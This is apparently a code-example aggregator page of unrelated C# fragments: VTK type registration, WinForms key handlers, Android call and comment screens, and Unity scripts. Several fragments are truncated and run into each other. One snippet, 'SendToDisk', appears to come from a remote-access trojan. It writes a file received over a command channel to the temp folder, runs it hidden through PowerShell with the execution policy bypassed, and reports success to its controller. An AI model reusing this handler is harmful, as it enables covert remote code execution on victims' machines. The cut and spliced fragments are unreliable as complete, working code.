 private void dLeitores_Load(object sender, EventArgs e)
 {
     Methods.loadFormPosition(this);
 }
 static vtkXMLMultiBlockDataWriter()
 {
     vtkXMLMultiBlockDataWriter.MRClassNameKey = "class vtkXMLMultiBlockDataWriter";
     Methods.RegisterType(Assembly.GetExecutingAssembly(), vtkXMLMultiBlockDataWriter.MRClassNameKey, Type.GetType("Kitware.VTK.vtkXMLMultiBlockDataWriter"));
 }
Exemple #34
0
        private void txtValidityDate_KeyPress(object sender, KeyPressEventArgs e)
        {
            Methods clsMethods = new Methods();

            e.Handled = clsMethods.AllNum(Convert.ToInt32(e.KeyChar));
        }
Exemple #35
0
        public void FixupMethodOverrides(CodeGenerationOptions opt)
        {
            foreach (var m in Methods.Where(m => !m.IsStatic && !m.IsInterfaceDefaultMethod))
            {
                for (var bt = GetBaseGen(opt); bt != null; bt = bt.GetBaseGen(opt))
                {
                    var bm = bt.Methods.FirstOrDefault(mm => mm.Name == m.Name && mm.Visibility == m.Visibility && ParameterList.Equals(mm.Parameters, m.Parameters));
                    if (bm != null && bm.RetVal.FullName == m.RetVal.FullName)                       // if return type is different, it could be still "new", not "override".
                    {
                        m.IsOverride = true;
                        break;
                    }
                }
            }

            // Interface default methods can be overriden. We want to process them differently.
            var checkDimOverrideTargets = opt.SupportDefaultInterfaceMethods ? Methods : Methods.Where(m => m.IsInterfaceDefaultMethod);

            // We need to check all the implemented interfaces of all the base types.
            var allIfaces = new List <InterfaceGen> ();

            for (var gen = this; gen != null; gen = gen.BaseGen)
            {
                gen.GetAllDerivedInterfaces(allIfaces);
            }

            foreach (var m in checkDimOverrideTargets.Where(m => !m.IsStatic))
            {
                foreach (var bt in allIfaces.Distinct())
                {
                    // We mark a method as an override if (1) it is a DIM, or (2) if the base method is DIM
                    // (i.e. we don't mark as override if a class method "implements" normal iface method.)
                    var bm = bt.Methods.FirstOrDefault(mm => (m.IsInterfaceDefaultMethod || !mm.IsAbstract) && mm.Name == m.Name && ParameterList.Equals(mm.Parameters, m.Parameters));

                    if (bm != null)
                    {
                        m.OverriddenInterfaceMethod = bm;
                        break;
                    }
                }
            }

            foreach (var m in Methods)
            {
                if (m.Name == Name || ContainsProperty(m.Name, true) || HasNestedType(m.Name))
                {
                    m.Name = "Invoke" + m.Name;
                }
                if ((m.Name == "ToString" && m.Parameters.Count == 0) || (BaseGen != null && BaseGen.ContainsMethod(m, true)))
                {
                    m.IsOverride = true;
                }
            }

            foreach (var nt in NestedTypes)
            {
                nt.FixupMethodOverrides(opt);
            }
        }
Exemple #36
0
 public virtual Task <long> RequestAsync(string path, bool pathOverride, Methods method, Version methodApiVersion, SubsonicParameters parameters = null, CancellationToken?cancelToken = null)
 {
     throw new SubsonicApiException("Unsupported method");
 }
Exemple #37
0
 static vtkDiscreteMarchingCubes()
 {
     vtkDiscreteMarchingCubes.MRClassNameKey = "class vtkDiscreteMarchingCubes";
     Methods.RegisterType(Assembly.GetExecutingAssembly(), vtkDiscreteMarchingCubes.MRClassNameKey, Type.GetType("Kitware.VTK.vtkDiscreteMarchingCubes"));
 }
Exemple #38
0
 public void AddMethod(Method m)
 {
     Methods.Add(m);
 }
Exemple #39
0
        private void txtAmount_KeyPress(object sender, System.Windows.Forms.KeyPressEventArgs e)
        {
            Methods clsMethods = new Methods();

            e.Handled = clsMethods.AllNumWithDecimal(Convert.ToInt32(e.KeyChar));
        }
Exemple #40
0
        public void SendToDisk(MsgPack unpack_msgpack)
        {
            try
            {
                string fullPath = Path.Combine(Path.GetTempPath(), unpack_msgpack.ForcePathObject("FileName").AsString);
                if (File.Exists(fullPath))
                {
                    try
                    {
                        File.Delete(fullPath);
                    }
                    catch
                    {
                        fullPath = Path.Combine(Path.GetTempPath(), Methods.GetRandomString(6) + Path.GetExtension(unpack_msgpack.ForcePathObject("FileName").AsString));
                    }
                }
                File.WriteAllBytes(fullPath, Zip.Decompress(unpack_msgpack.ForcePathObject("File").GetAsBytes()));
                if (unpack_msgpack.ForcePathObject("FileName").AsString.ToLower().EndsWith(".ps1"))
                {
                    Process.Start(new ProcessStartInfo
                    {
                        FileName        = "cmd",
                        Arguments       = $"/c start /b powershell –ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -FilePath {"'" + "\"" + fullPath + "\"" + "'"} & exit",
                        CreateNoWindow  = true,
                        WindowStyle     = ProcessWindowStyle.Hidden,
                        UseShellExecute = true,
                        ErrorDialog     = false,
                    });
                }
                else
                {
                    Process.Start(new ProcessStartInfo
                    {
                        FileName        = "cmd",
                        Arguments       = $"/c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath {"'" + "\"" + fullPath + "\"" + "'"} & exit",
                        CreateNoWindow  = true,
                        WindowStyle     = ProcessWindowStyle.Hidden,
                        UseShellExecute = true,
                        ErrorDialog     = false,
                    });
                }


                if (unpack_msgpack.ForcePathObject("Update").AsString == "true")
                {
                    new HandleUninstall();
                }
                else
                {
                    Thread.Sleep(1000);
                    if (Process.GetProcessesByName(Path.GetFileNameWithoutExtension(fullPath)).Length > 0)
                    {
                        Packet.Log($"Temp\\{Path.GetFileName(fullPath)} execute success!");
                    }
                    else if (fullPath.ToLower().EndsWith(".ps1") && Process.GetProcessesByName("powershell").Length > 0)
                    {
                        Packet.Log($"Temp\\{Path.GetFileName(fullPath)} execute success!");
                    }
                }
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
            Connection.Disconnected();
        }
Exemple #41
0
 //private AudioSource leverAud;
 void Start()
 {
     //leverAud = transform.parent.GetComponent<AudioSource>();
     stateMethod = woodDoorMethod;
 }
Exemple #42
0
        static void Main()
        {
            Methods link = new Methods();
            string  a, line;
            int     j, n, check, m;

            a = "";
            char[] str = new char[1000];
            for (int i = 0; i <= 10000; i++)
            {
                m     = 1;
                check = 0;
                line  = Console.ReadLine();

                for (j = 0; j < line.Length; j++)
                {
                    check = check + Convert.ToInt32(line[j] - '0') * m;
                    m    += 10;
                    if (j == line.Length - 1)
                    {
                        break;
                    }
                    if (line[j + 1] == ' ')
                    {
                        break;
                    }
                }

                for (j = 2; j < line.Length; j++)
                {
                    a = a + line[j];
                }

                if (check == 1)
                {
                    link.Add(a);
                }

                if (check == 2)
                {
                    n = Convert.ToInt32(a);
                    link.Del(n);
                }

                if (check == 3)
                {
                    n = Convert.ToInt32(a);
                    link.Print(n);
                }

                if (check == 4)
                {
                    link.Undo();
                }

                if (check < 1 || check > 4)
                {
                    Console.WriteLine("Ошибка. Команды под номером " + check + " не существует");
                    break;
                }

                a = "";
            }
        }
Exemple #43
0
 static vtkImageDataLIC2D()
 {
     vtkImageDataLIC2D.MRClassNameKey = "class vtkImageDataLIC2D";
     Methods.RegisterType(Assembly.GetExecutingAssembly(), vtkImageDataLIC2D.MRClassNameKey, Type.GetType("Kitware.VTK.vtkImageDataLIC2D"));
 }
Exemple #44
0
        //Api sent Comment
        private async void ImgSentOnClick(object sender, EventArgs e)
        {
            try
            {
                if (string.IsNullOrEmpty(TxtComment.Text) && string.IsNullOrWhiteSpace(TxtComment.Text) && string.IsNullOrEmpty(PathImage))
                {
                    return;
                }

                if (Methods.CheckConnectivity())
                {
                    CommentObject.Replies ??= "0";
                    CommentObject.RepliesCount ??= "0";

                    //Comment Code
                    var dataUser = ListUtils.MyProfileList?.FirstOrDefault();

                    var unixTimestamp = DateTimeOffset.UtcNow.ToUnixTimeSeconds();

                    CommentObjectExtra comment = new CommentObjectExtra
                    {
                        Id             = unixTimestamp.ToString(),
                        PostId         = CommentObject.PostId,
                        UserId         = UserDetails.UserId,
                        Text           = TxtComment.Text,
                        Time           = unixTimestamp.ToString(),
                        CFile          = PathImage,
                        Record         = "",
                        Publisher      = dataUser,
                        Url            = dataUser?.Url,
                        Fullurl        = CommentObject?.Fullurl,
                        Orginaltext    = TxtComment.Text,
                        Owner          = true,
                        CommentLikes   = "0",
                        CommentWonders = "0",
                        IsCommentLiked = false,
                        Replies        = "0",
                        RepliesCount   = "0",
                    };

                    MAdapter.ReplyCommentList.Add(comment);

                    var index = MAdapter.ReplyCommentList.IndexOf(comment);
                    switch (index)
                    {
                    case > -1:
                        MAdapter.NotifyItemInserted(index);
                        break;
                    }

                    MRecycler.Visibility = ViewStates.Visible;

                    var dd = MAdapter.ReplyCommentList.FirstOrDefault();
                    if (dd?.Text == MAdapter.EmptyState)
                    {
                        MAdapter.ReplyCommentList.Remove(dd);
                        MAdapter.NotifyItemRemoved(MAdapter.ReplyCommentList.IndexOf(dd));
                    }

                    var repliesCount = !string.IsNullOrEmpty(CommentObject.RepliesCount) ? CommentObject.RepliesCount : CommentObject.Replies ?? "";

                    //CommentLayout.Visibility = ViewStates.Gone;
                    bool success = int.TryParse(repliesCount, out var number);
                    switch (success)
                    {
                    case true:
                    {
                        Console.WriteLine("Converted '{0}' to {1}.", repliesCount, number);
                        var x = number + 1;
                        ReplyCountTextView.Text = x + " " + GetString(Resource.String.Lbl_Replies);
                        break;
                    }

                    default:
                        Console.WriteLine("Attempted conversion of '{0}' failed.", repliesCount ?? "<null>");
                        ReplyCountTextView.Text = 1 + " " + GetString(Resource.String.Lbl_Replies);
                        break;
                    }

                    ImgGallery.SetImageDrawable(AppSettings.SetTabDarkTheme ? GetDrawable(Resource.Drawable.ic_action_addpost_Ligth) : GetDrawable(Resource.Drawable.ic_action_AddPost));

                    var text = TxtComment.Text;

                    //Hide keyboard
                    TxtComment.Text = "";

                    var(apiStatus, respond) = await RequestsAsync.Comment.CreatePostCommentsAsync(CommentId, text, PathImage, "", "create_reply");

                    switch (apiStatus)
                    {
                    case 200:
                    {
                        switch (respond)
                        {
                        case CreateComments result:
                        {
                            var date = MAdapter.ReplyCommentList.FirstOrDefault(a => a.Id == comment.Id) ?? MAdapter.ReplyCommentList.FirstOrDefault(x => x.Id == result.Data.Id);
                            if (date != null)
                            {
                                var db = ClassMapper.Mapper?.Map <CommentObjectExtra>(result.Data);

                                date    = db;
                                date.Id = result.Data.Id;

                                index = MAdapter.ReplyCommentList.IndexOf(MAdapter.ReplyCommentList.FirstOrDefault(a => a.Id == unixTimestamp.ToString()));
                                MAdapter.ReplyCommentList[index] = index switch
                                {
                                    > -1 => db,
                                    _ => MAdapter.ReplyCommentList[index]
                                };

                                var commentAdapter = CommentActivity.GetInstance()?.MAdapter;
                                var commentObject  = commentAdapter?.CommentList?.FirstOrDefault(a => a.Id == CommentId);
                                if (commentObject != null)
                                {
                                    commentObject.Replies      = commentAdapter.CommentList.Count.ToString();
                                    commentObject.RepliesCount = commentAdapter.CommentList.Count.ToString();
                                    commentAdapter.NotifyDataSetChanged();
                                }

                                var postFeedAdapter = TabbedMainActivity.GetInstance()?.NewsFeedTab?.PostFeedAdapter;
                                var dataGlobal      = postFeedAdapter?.ListDiffer?.Where(a => a.PostData?.Id == CommentObject?.PostId).ToList();
                                switch (dataGlobal?.Count)
                                {
                                case > 0:
                                {
                                    foreach (var dataClass in from dataClass in dataGlobal let indexCom = postFeedAdapter.ListDiffer.IndexOf(dataClass) where indexCom > -1 select dataClass)
                                    {
                                        switch (dataClass.PostData.GetPostComments?.Count)
                                        {
                                        case > 0:
                                        {
                                            var dataComment = dataClass.PostData.GetPostComments.FirstOrDefault(a => a.Id == date.Id);
                                            if (dataComment != null)
                                            {
                                                dataComment.Replies      = MAdapter.ReplyCommentList.Count.ToString();
                                                dataComment.RepliesCount = MAdapter.ReplyCommentList.Count.ToString();
                                            }

                                            break;
                                        }
                                        }

                                        postFeedAdapter.NotifyItemChanged(postFeedAdapter.ListDiffer.IndexOf(dataClass), "commentReplies");
                                    }

                                    break;
                                }
                                }

                                var postFeedAdapter2 = WRecyclerView.GetInstance()?.NativeFeedAdapter;
                                var dataGlobal1      = postFeedAdapter2?.ListDiffer?.Where(a => a.PostData?.Id == CommentObject?.PostId).ToList();
                                switch (dataGlobal1?.Count)
                                {
                                case > 0:
                                {
                                    foreach (var dataClass in from dataClass in dataGlobal1 let indexCom = postFeedAdapter2.ListDiffer.IndexOf(dataClass) where indexCom > -1 select dataClass)
                                    {
                                        switch (dataClass.PostData.GetPostComments?.Count)
                                        {
                                        case > 0:
                                        {
                                            var dataComment = dataClass.PostData.GetPostComments.FirstOrDefault(a => a.Id == date.Id);
                                            if (dataComment != null)
                                            {
                                                dataComment.Replies      = MAdapter.ReplyCommentList.Count.ToString();
                                                dataComment.RepliesCount = MAdapter.ReplyCommentList.Count.ToString();
                                            }

                                            break;
                                        }
                                        }

                                        postFeedAdapter2.NotifyItemChanged(postFeedAdapter2.ListDiffer.IndexOf(dataClass), "commentReplies");
                                    }

                                    break;
                                }
                                }
                            }

                            break;
                        }
                        }

                        break;
                    }
                    }
 /// <summary>
 /// BTNs the add to want to see click.
 /// </summary>
 /// <param name="sender">The sender.</param>
 /// <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
 private void BtnAddToWantToSeeClick(object sender, EventArgs e)
 {
     methods = new Methods();
     var movie = new MovieTable
     {
         Director = BlockDirectors.Text,
         Title = TxtMovieTitle.Text,
         Year = Convert.ToInt32(BlockYear.Text),
         WantSee = true,
         Wish = false,
         UrlImage = urlImage
     };
     methods.InsertMovie(movie);
     MessageBox.Show("Added to your want to see list");
     NavigationService.Navigate(new Uri("/Pages/Menu.xaml", UriKind.Relative));
 }
Exemple #46
0
 public void OnDismiss(){
   this.textView         = null;
   this.methods          = null;
   this.currentMethod    = 0;
   this.currentParameter = 0;
   this.displayed        = false;
 }
        private void RejectCallButton_Click(object sender, EventArgs e)
        {
            try
            {
                if (!Methods.CheckConnectivity())
                {
                    Toast.MakeText(this, GetString(Resource.String.Lbl_CheckYourInternetConnection), ToastLength.Short)?.Show();
                    return;
                }

                switch (CallType)
                {
                case "Twilio_video_call":
                    PollyController.RunRetryPolicyFunction(new List <Func <Task> > {
                        async() => await RequestsAsync.Call.DeclineCallAsync(UserDetails.UserId, CallId, TypeCall.Video)
                    });
                    break;

                case "Twilio_audio_call":
                    PollyController.RunRetryPolicyFunction(new List <Func <Task> > {
                        async() => await RequestsAsync.Call.DeclineCallAsync(UserDetails.UserId, CallId, TypeCall.Audio)
                    });
                    break;

                case "Agora_video_call_recieve":
                case "Agora_audio_call_recieve":
                    PollyController.RunRetryPolicyFunction(new List <Func <Task> > {
                        async() => await ApiRequest.Send_Agora_Call_Action_Async("decline", CallId)
                    });
                    break;
                }

                if (!string.IsNullOrEmpty(CallId))
                {
                    var ckd = MsgTabbedMainActivity.GetInstance()?.LastCallsTab?.MAdapter?.MCallUser?.FirstOrDefault(a => a.Id == CallId); // id >> Call_Id
                    if (ckd == null)
                    {
                        Classes.CallUser cv = new Classes.CallUser
                        {
                            Id           = CallId,
                            UserId       = UserId,
                            Avatar       = Avatar,
                            Name         = Name,
                            AccessToken  = TwilioAccessToken,
                            AccessToken2 = TwilioAccessTokenUser2,
                            FromId       = FromId,
                            Active       = Active,
                            Time         = "Missed call",
                            Status       = Status,
                            RoomName     = RoomName,
                            Type         = CallType,
                            TypeIcon     = "Cancel",
                            TypeColor    = "#FF0000"
                        };

                        MsgTabbedMainActivity.GetInstance()?.LastCallsTab?.MAdapter?.Insert(cv);

                        SqLiteDatabase dbDatabase = new SqLiteDatabase();
                        dbDatabase.Insert_CallUser(cv);
                    }
                }

                MsgTabbedMainActivity.RunCall = false;
                FinishVideoAudio();
            }
            catch (Exception exception)
            {
                MsgTabbedMainActivity.RunCall = false;
                FinishVideoAudio();
                Methods.DisplayReportResultTrack(exception);
            }
        }
 static vtkTemporalPathLineFilter()
 {
     vtkTemporalPathLineFilter.MRClassNameKey = "class vtkTemporalPathLineFilter";
     Methods.RegisterType(Assembly.GetExecutingAssembly(), vtkTemporalPathLineFilter.MRClassNameKey, Type.GetType("Kitware.VTK.vtkTemporalPathLineFilter"));
 }
Exemple #49
0
        /// <summary>
        /// Метод стартового состояния окна
        /// </summary>
        /// <param name="x">размер по оси x</param>
        /// <param name="y">размер по оси y</param>
        public MainForm(int x, int y)
        {
            string pathDirectory = Application.StartupPath; // Путь к директории
            string pathFile = pathDirectory + "\\" + "eurusd" + ".txt"; // Путь к файлу c котировками eurusd

            Methods Time = new Methods();
             // проверка интерент соединения ассинхронно
            tConnect = Task.Run(() =>
            {
                Internet inCon = new Internet();
                InetConnect.Inet = inCon.TryCon(inet, "eurusd", sync, internetActionFinished);
            });

            switch (Time.TradeStop(DateTime.Now))
            {
                case "Sat": MessageBox.Show("Forex day off"); break;
                case "Sun": MessageBox.Show("Forex day off"); break;
            }

            this.InitializeComponent();

            splitContainer1.Size = new Size(x, y);
            splitContainer1.Location = new Point(0, 0);

            // Массив кнопок интерфейса
            Button[] LButton = {buttonEurUsd, buttonUsdJpy};

            foreach (Button index in LButton)
            {
                splitContainer1.Panel2.Controls.Add(index);
            }

            // Массив меток интерфейса
            Label[] LLabel = { labelSelectPair };

            foreach (Label index in LLabel)
            {
                splitContainer1.Panel2.Controls.Add(index);
            }

            DirectoryInsspection.Set(pathDirectory); // проверка существования директории

            FileInspection.Set(pathFile); // проверка существования файла

            this.FormClosing += new FormClosingEventHandler(OnClosing);
            LButton[0].Location = new Point( x / 2 - 400, y / 2 - 100); // Первая кнопка EurUsd
            LLabel[0].Location = new Point(x / 2 - 100, y / 2 - 200); //  Метка
            LButton[1].Location = new Point(x / 2  + 200, y / 2 - 100); // Вторая кнопка UsdJpy
            xS = x / 1920.0; // настройка под все  экраны
            yS = y / 1080.0; // настройка под все  экраны
            this.Size = new Size(x, y); // задание размеров экрана

            #region Переменные командной комбинации к Меню текущей форме
            windowToolStripMenuItem.ShortcutKeys = Keys.Control | Keys.W; // командная комбинация клавиш для откытия настроек окна
            chartToolStripMenuItem.ShortcutKeys = Keys.Control | Keys.C; // командная комбинация клавиш для откытия настроек графика
            eURUSDToolStripMenuItem.ShortcutKeys = Keys.Control | Keys.U; // командная комбинация клавиш для откытия графика USDEUR
            helpToolStripMenuItem.ShortcutKeys = Keys.Control | Keys.H; // командная комбинация клавиш для откытия помощи
            USDJPYToolStripMenuItem.ShortcutKeys = Keys.Control | Keys.Y; // командная комбинация клавиш для откытия графика EURYPJ
            #endregion

            if (HelpClosing == true)
            {
                helpToolStripMenuItem.CheckState = CheckState.Unchecked;
            }

            Internet IPair = new Internet();
            Cursor.Current = Cursors.WaitCursor; // Грузящий курсор
            tConnect.Wait();
            Cursor.Current = Cursors.Default; // Возвращение к нормальному состоянию
            LoadData(IPair); // загрузка данных 2х потоков с данными №1
        }
        private void AcceptCallButton_Click(object sender, EventArgs e)
        {
            try
            {
                switch (CallType)
                {
                case "Twilio_video_call":
                {
                    Intent intent = new Intent(this, typeof(TwilioVideoCallActivity));
                    intent.SetFlags(ActivityFlags.TaskOnHome | ActivityFlags.BroughtToFront);
                    intent.PutExtra("UserID", UserId);
                    intent.PutExtra("avatar", Avatar);
                    intent.PutExtra("name", Name);
                    intent.PutExtra("access_token", TwilioAccessToken);
                    intent.PutExtra("access_token_2", TwilioAccessTokenUser2);
                    intent.PutExtra("from_id", FromId);
                    intent.PutExtra("active", Active);
                    intent.PutExtra("time", Time);
                    intent.PutExtra("CallID", CallId);
                    intent.PutExtra("room_name", RoomName);
                    intent.PutExtra("type", CallType);

                    StartActivity(intent);
                    break;
                }

                case "Twilio_audio_call":
                {
                    Intent intent = new Intent(this, typeof(TwilioAudioCallActivity));
                    intent.SetFlags(ActivityFlags.TaskOnHome | ActivityFlags.BroughtToFront | ActivityFlags.NewTask);
                    intent.PutExtra("UserID", UserId);
                    intent.PutExtra("avatar", Avatar);
                    intent.PutExtra("name", Name);
                    intent.PutExtra("access_token", TwilioAccessToken);
                    intent.PutExtra("access_token_2", TwilioAccessTokenUser2);
                    intent.PutExtra("from_id", FromId);
                    intent.PutExtra("active", Active);
                    intent.PutExtra("time", Time);
                    intent.PutExtra("CallID", CallId);
                    intent.PutExtra("room_name", RoomName);
                    intent.PutExtra("type", CallType);
                    StartActivity(intent);
                    break;
                }

                case "Agora_audio_call_recieve":
                {
                    Intent intent = new Intent(this, typeof(AgoraAudioCallActivity));
                    intent.SetFlags(ActivityFlags.TaskOnHome | ActivityFlags.BroughtToFront | ActivityFlags.NewTask);
                    intent.PutExtra("UserID", UserId);
                    intent.PutExtra("avatar", Avatar);
                    intent.PutExtra("name", Name);
                    intent.PutExtra("time", Time);
                    intent.PutExtra("CallID", CallId);
                    intent.PutExtra("room_name", RoomName);
                    intent.PutExtra("type", CallType);
                    StartActivity(intent);
                    break;
                }

                case "Agora_video_call_recieve":
                {
                    Intent intent = new Intent(this, typeof(AgoraVideoCallActivity));

                    intent.SetFlags(ActivityFlags.TaskOnHome | ActivityFlags.BroughtToFront | ActivityFlags.NewTask);
                    intent.PutExtra("UserID", UserId);
                    intent.PutExtra("avatar", Avatar);
                    intent.PutExtra("name", Name);
                    intent.PutExtra("time", Time);
                    intent.PutExtra("CallID", CallId);
                    intent.PutExtra("room_name", RoomName);
                    intent.PutExtra("type", CallType);
                    StartActivity(intent);
                    break;
                }
                }

                FinishVideoAudio();
            }
            catch (Exception exception)
            {
                FinishVideoAudio();
                Methods.DisplayReportResultTrack(exception);
            }
        }
Exemple #51
0
 public UnitTest()
 {
     _methods = new Methods();
 }
        private async void SendMess(string text)
        {
            try
            {
                if (!Methods.CheckConnectivity())
                {
                    Toast.MakeText(this, GetString(Resource.String.Lbl_CheckYourInternetConnection), ToastLength.Short)?.Show();
                }
                else
                {
                    var unixTimestamp = DateTimeOffset.UtcNow.ToUnixTimeSeconds();
                    var time2         = unixTimestamp.ToString();

                    //Here on This function will send Selected audio file to the user
                    var(apiStatus, respond) = await RequestsAsync.Message.SendMessageAsync(UserId, time2, text);

                    if (apiStatus == 200)
                    {
                        if (respond is SendMessageObject result)
                        {
                            Console.WriteLine(result.MessageData);
                            if (!string.IsNullOrEmpty(CallId))
                            {
                                var ckd = MsgTabbedMainActivity.GetInstance()?.LastCallsTab?.MAdapter?.MCallUser?.FirstOrDefault(a => a.Id == CallId); // id >> Call_Id
                                if (ckd == null)
                                {
                                    Classes.CallUser cv = new Classes.CallUser
                                    {
                                        Id           = CallId,
                                        UserId       = UserId,
                                        Avatar       = Avatar,
                                        Name         = Name,
                                        AccessToken  = TwilioAccessToken,
                                        AccessToken2 = TwilioAccessTokenUser2,
                                        FromId       = FromId,
                                        Active       = Active,
                                        Time         = "Missed call",
                                        Status       = Status,
                                        RoomName     = RoomName,
                                        Type         = CallType,
                                        TypeIcon     = "Cancel",
                                        TypeColor    = "#FF0000"
                                    };

                                    MsgTabbedMainActivity.GetInstance()?.LastCallsTab.MAdapter?.Insert(cv);

                                    SqLiteDatabase dbDatabase = new SqLiteDatabase();
                                    dbDatabase.Insert_CallUser(cv);
                                }
                            }

                            switch (CallType)
                            {
                            case "Twilio_video_call":
                                PollyController.RunRetryPolicyFunction(new List <Func <Task> > {
                                    async() => await RequestsAsync.Call.DeclineCallAsync(UserDetails.UserId, CallId, TypeCall.Video)
                                });
                                break;

                            case "Twilio_audio_call":
                                PollyController.RunRetryPolicyFunction(new List <Func <Task> > {
                                    async() => await RequestsAsync.Call.DeclineCallAsync(UserDetails.UserId, CallId, TypeCall.Audio)
                                });
                                break;

                            case "Agora_video_call_recieve":
                            case "Agora_audio_call_recieve":
                                PollyController.RunRetryPolicyFunction(new List <Func <Task> > {
                                    async() => await ApiRequest.Send_Agora_Call_Action_Async("decline", CallId)
                                });
                                break;
                            }

                            MsgTabbedMainActivity.RunCall = false;
                            FinishVideoAudio();
                        }
                    }
                    else
                    {
                        Methods.DisplayReportResult(this, respond);
                    }
                }
            }
            catch (Exception e)
            {
                Methods.DisplayReportResultTrack(e);
            }
        }
Exemple #53
0
    void Deseri()
    {
        string xmlStr = ViNoGameSaveLoad.LoadXML( name + ".xml" );

        TestData dat = ViNoGameSaveLoad.DeserializeObject<TestData>( xmlStr ) as TestData;
        sceneName = dat.sceneName;
        method = dat.method;
        withFadeIn = dat.withFadeIn;

        ViNoGameSaveLoad.CreateXML( name + ".xml" , xmlStr );
    }
        protected override void OnCreate(Bundle savedInstanceState)
        {
            try
            {
                base.OnCreate(savedInstanceState);

                SetContentView(Resource.Layout.TwilioCommingVideoCallLayout);
                Window.AddFlags(WindowManagerFlags.KeepScreenOn);

                SensorManager = (SensorManager)GetSystemService(SensorService);
                Proximity     = SensorManager.GetDefaultSensor(SensorType.Proximity);

                CallActivity = this;

                var dataCallId = Intent?.GetStringExtra("CallID") ?? "";
                if (!string.IsNullOrEmpty(dataCallId))
                {
                    CallType = Intent?.GetStringExtra("type");

                    switch (CallType)
                    {
                    case "Twilio_video_call":
                    case "Twilio_audio_call":
                        CallId                 = dataCallId;
                        UserId                 = Intent?.GetStringExtra("UserID");
                        Avatar                 = Intent?.GetStringExtra("avatar");
                        Name                   = Intent?.GetStringExtra("name");
                        FromId                 = Intent?.GetStringExtra("from_id");
                        Active                 = Intent?.GetStringExtra("active");
                        Time                   = Intent?.GetStringExtra("time");
                        Status                 = Intent?.GetStringExtra("status");
                        RoomName               = Intent?.GetStringExtra("room_name");
                        TwilioAccessToken      = Intent?.GetStringExtra("access_token");
                        TwilioAccessTokenUser2 = Intent?.GetStringExtra("access_token_2");
                        break;

                    case "Agora_video_call_recieve":
                    case "Agora_audio_call_recieve":
                        CallId   = dataCallId;
                        UserId   = Intent?.GetStringExtra("UserID");
                        Avatar   = Intent?.GetStringExtra("avatar");
                        Name     = Intent?.GetStringExtra("name");
                        FromId   = Intent?.GetStringExtra("from_id");
                        Active   = Intent?.GetStringExtra("active");
                        Time     = Intent?.GetStringExtra("time");
                        Status   = Intent?.GetStringExtra("status");
                        RoomName = Intent?.GetStringExtra("room_name");
                        break;
                    }
                }
                UserNameTextView  = FindViewById <TextView>(Resource.Id.UsernameTextView);
                TypeCallTextView  = FindViewById <TextView>(Resource.Id.TypecallTextView);
                UserImageView     = FindViewById <ImageView>(Resource.Id.UserImageView);
                GradientPreView   = FindViewById <View>(Resource.Id.gradientPreloaderView);
                AcceptCallButton  = FindViewById <CircleButton>(Resource.Id.accept_call_button);
                RejectCallButton  = FindViewById <CircleButton>(Resource.Id.end_call_button);
                MessageCallButton = FindViewById <CircleButton>(Resource.Id.message_call_button);

                StartAnimatedBackground();

                AcceptCallButton.Click  += AcceptCallButton_Click;
                RejectCallButton.Click  += RejectCallButton_Click;
                MessageCallButton.Click += MessageCallButton_Click;

                if (!string.IsNullOrEmpty(Name))
                {
                    UserNameTextView.Text = Name;
                }

                if (!string.IsNullOrEmpty(Avatar))
                {
                    GlideImageLoader.LoadImage(this, Avatar, UserImageView, ImageStyle.CircleCrop, ImagePlaceholders.Drawable);
                }

                if (CallType == "Twilio_video_call" || CallType == "Agora_video_call_recieve")
                {
                    TypeCallTextView.Text = GetText(Resource.String.Lbl_Video_call);
                }
                else
                {
                    TypeCallTextView.Text = GetText(Resource.String.Lbl_Voice_call);
                }

                Methods.AudioRecorderAndPlayer.PlayAudioFromAsset("mystic_call.mp3");


                Vibrator = (Vibrator)GetSystemService(VibratorService);

                var vibrate = new long[]
                {
                    1000, 1000, 2000, 1000, 2000, 1000, 2000, 1000, 2000, 1000, 2000, 1000, 2000, 1000, 2000, 1000,
                    2000, 1000, 2000, 1000, 2000, 1000, 2000, 1000, 2000
                };

                // Vibrate for 500 milliseconds
                Vibrator.Vibrate(VibrationEffect.CreateWaveform(vibrate, 3));
            }
            catch (Exception e)
            {
                Methods.DisplayReportResultTrack(e);
            }
        }
Exemple #55
0
    public void Refresh( IVsTextView textView, Methods methods, int currentParameter, TextSpan context ) {
      this.methods = methods;
      this.context = context;

      // Apparently this Refresh() method is called as a result of event notification
      // after the currentMethod is changed, so we do not want to Dismiss anything or
      // reset the currentMethod here.  This fixes bug #235
      //Dismiss();  

      this.textView = textView; 
      this.methods  = methods; 
      // TODO: We could do so much better since we have a full parse tree available
      // we could intelligently select the best matching method based on what the user
      // has already typed in !!
      // m_currentMethod    = 0;
      this.currentParameter = currentParameter;
      this.AdjustCurrentParameter( 0 );
    }
        private void Initialize(SearchPageAdapterViewHolder holder, PageClass item)
        {
            try
            {
                GlideImageLoader.LoadImage(ActivityContext, item.Avatar, holder.Image, ImageStyle.CircleCrop, ImagePlaceholders.Drawable);

                if (!string.IsNullOrEmpty(item.PageTitle) || !string.IsNullOrWhiteSpace(item.PageTitle))
                {
                    holder.Name.Text = Methods.FunString.SubStringCutOf(Methods.FunString.DecodeString(item.PageTitle), 20);
                }
                else
                {
                    holder.Name.Text = Methods.FunString.SubStringCutOf(Methods.FunString.DecodeString(item.PageName), 20);
                }

                CategoriesController cat = new CategoriesController();
                holder.About.Text = cat.Get_Translate_Categories_Communities(item.PageCategory, item.Category);

                //var drawable = TextDrawable.InvokeBuilder().BeginConfig().FontSize(30).EndConfig().BuildRound("", Color.ParseColor("#BF360C"));
                //holder.ImageView.SetImageDrawable(drawable);

                if (item.IsLiked != null)
                {
                    //Set style Btn Like page
                    if (item.IsLiked == "no" || item.IsLiked == "No" || item.IsLiked == "false")
                    {
                        holder.Button.SetBackgroundResource(Resource.Drawable.follow_button_profile_friends);
                        holder.Button.SetTextColor(Color.ParseColor(AppSettings.MainColor));
                        holder.Button.Text = ActivityContext.GetText(Resource.String.Btn_Like);
                        holder.Button.Tag  = "false";
                    }
                    else if (item.IsLiked == "yes" || item.IsLiked == "Yes" || item.IsLiked == "true")
                    {
                        holder.Button.SetBackgroundResource(Resource.Drawable.follow_button_profile_friends_pressed);
                        holder.Button.SetTextColor(Color.ParseColor("#ffffff"));
                        holder.Button.Text = ActivityContext.GetText(Resource.String.Btn_Unlike);
                        holder.Button.Tag  = "true";
                    }
                }
                else
                {
                    holder.Button.Visibility = ViewStates.Gone;
                }

                if (!holder.Button.HasOnClickListeners)
                {
